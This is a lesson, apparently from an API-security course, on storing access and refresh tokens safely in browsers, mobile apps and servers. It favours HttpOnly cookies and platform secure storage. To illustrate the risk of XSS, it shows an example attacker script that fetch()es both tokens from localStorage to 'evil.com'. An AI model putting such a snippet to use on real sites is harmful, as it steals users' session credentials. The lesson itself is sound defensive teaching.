hectoday
DocsCoursesChangelog GitHub
DocsCoursesChangelog GitHub

Access Required

Enter your access code to view courses.

Invalid code

← All courses Securing Your API with @hectoday/http

The Threat Landscape

  • What Could Go Wrong
  • Project Setup

Brute-Force Protection

  • Rate Limiting Login Attempts
  • Account Lockout
  • Timing Attack Prevention

CSRF Protection

  • What Is CSRF?
  • CSRF Tokens
  • CSRF for API Consumers

Token Hardening

  • Refresh Token Rotation
  • Token Revocation
  • Secure Token Storage

Password Reset

  • The Password Reset Flow
  • Building the Reset Routes
  • Reset Security

Putting It All Together

  • Security Headers
  • Logging and Monitoring
  • Security Checklist
  • Capstone: Hardened Auth API

Secure Token Storage

The storage problem

After login, the client receives an access token and a refresh token. Where should it put them?

The answer depends on what the client is. A browser, a mobile app, and a server-side client have different options and different risks.

Browser clients

localStorage: the worst option

// WRONG
localStorage.setItem("accessToken", token);
localStorage.setItem("refreshToken", refreshToken);

Any JavaScript running on the page can read localStorage. If an attacker injects a script (XSS), they can steal both tokens:

// Attacker's script
fetch("https://evil.com/steal", {
  body: JSON.stringify({
    access: localStorage.getItem("accessToken"),
    refresh: localStorage.getItem("refreshToken"),
  }),
});

The refresh token is especially dangerous: it can generate new access tokens for 30 days.

sessionStorage: marginally better

// Slightly better, still bad
sessionStorage.setItem("accessToken", token);

sessionStorage is cleared when the tab closes, which limits the exposure window. But it is still readable by any JavaScript on the page. XSS can still steal it during the session.

In-memory variable: better for access tokens

// Store only in a JavaScript variable
let accessToken = null;

async function login(email, password) {
  const res = await fetch("/token/login", { ... });
  const data = await res.json();
  accessToken = data.accessToken;
  // refresh token handled separately (see below)
}

async function apiFetch(url, options = {}) {
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${accessToken}`,
    },
  });
}

A JavaScript variable is not accessible from other pages or tabs. It is harder (not impossible) to steal via XSS. The downside: it is lost on page refresh. The user must refresh the access token (using the refresh token) after every page load.

HttpOnly cookie: best for browser clients

The most secure option for browser clients is to store both tokens in HttpOnly cookies. This is a hybrid approach: you use JWTs for the token format but cookies for transport.

// Server: set tokens as HttpOnly cookies on login
return new Response(null, {
  status: 200,
  headers: {
    "set-cookie": [
      `access_token=${accessToken}; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900`,
      `refresh_token=${refreshToken}; HttpOnly; Secure; SameSite=Lax; Path=/token/refresh; Max-Age=2592000`,
    ].join(", "),
  },
});

Notice the refresh token cookie has Path=/token/refresh. This means the browser only sends the refresh token to the refresh endpoint, not with every request. The access token cookie goes to all paths.

With HttpOnly cookies, JavaScript cannot read either token. XSS cannot steal them. The browser attaches them automatically. You get the statelessness of JWTs with the transport security of cookies.

The tradeoff: you need CSRF protection (from Section 3) because cookies are sent automatically.

Mobile clients

Mobile apps should use the platform’s secure storage:

  • iOS: Keychain
  • Android: EncryptedSharedPreferences or the Keystore

These stores are encrypted and inaccessible to other apps. They survive app restarts and are the recommended location for tokens on mobile.

Never store tokens in plain text files, SharedPreferences (Android, unencrypted), or UserDefaults (iOS, unencrypted).

Server-to-server clients

Servers calling your API should store tokens in environment variables or a secrets manager (AWS Secrets Manager, HashiCorp Vault). Never in source code.

Summary

ClientBest storageWhy
BrowserHttpOnly cookiesXSS cannot read them
Browser (alternative)In-memory variable for access tokenHard to steal, but lost on refresh
MobilePlatform secure storage (Keychain, Keystore)Encrypted, isolated from other apps
ServerEnvironment variable / secrets managerNot in source code or logs
StorageXSS riskPersists across refreshes
localStorageHigh (any script can read it)Yes
sessionStorageHigh (any script can read it)No (cleared on tab close)
In-memory variableLower (harder to access)No (lost on refresh)
HttpOnly cookieNone (JavaScript cannot read it)Yes (browser manages it)

Exercises

Exercise 1: Modify your token login endpoint to set the access token and refresh token as HttpOnly cookies instead of returning them in the response body. Verify that document.cookie does not show them in the browser console.

Exercise 2: With tokens in HttpOnly cookies, update authenticateToken to read the access token from the cookie instead of the Authorization header. Now you have JWTs transported via cookies, which combines the benefits of both approaches.

Exercise 3: Consider the tradeoffs. With tokens in cookies, you need CSRF protection (Section 3). With tokens in the Authorization header, you do not. Which approach would you choose for a browser-only app? For an app with both browser and mobile clients?

Why is an HttpOnly cookie the most secure storage option for browser clients?

Why does the refresh token cookie use Path=/token/refresh?

← Token Revocation The Password Reset Flow →

© 2026 hectoday. All rights reserved.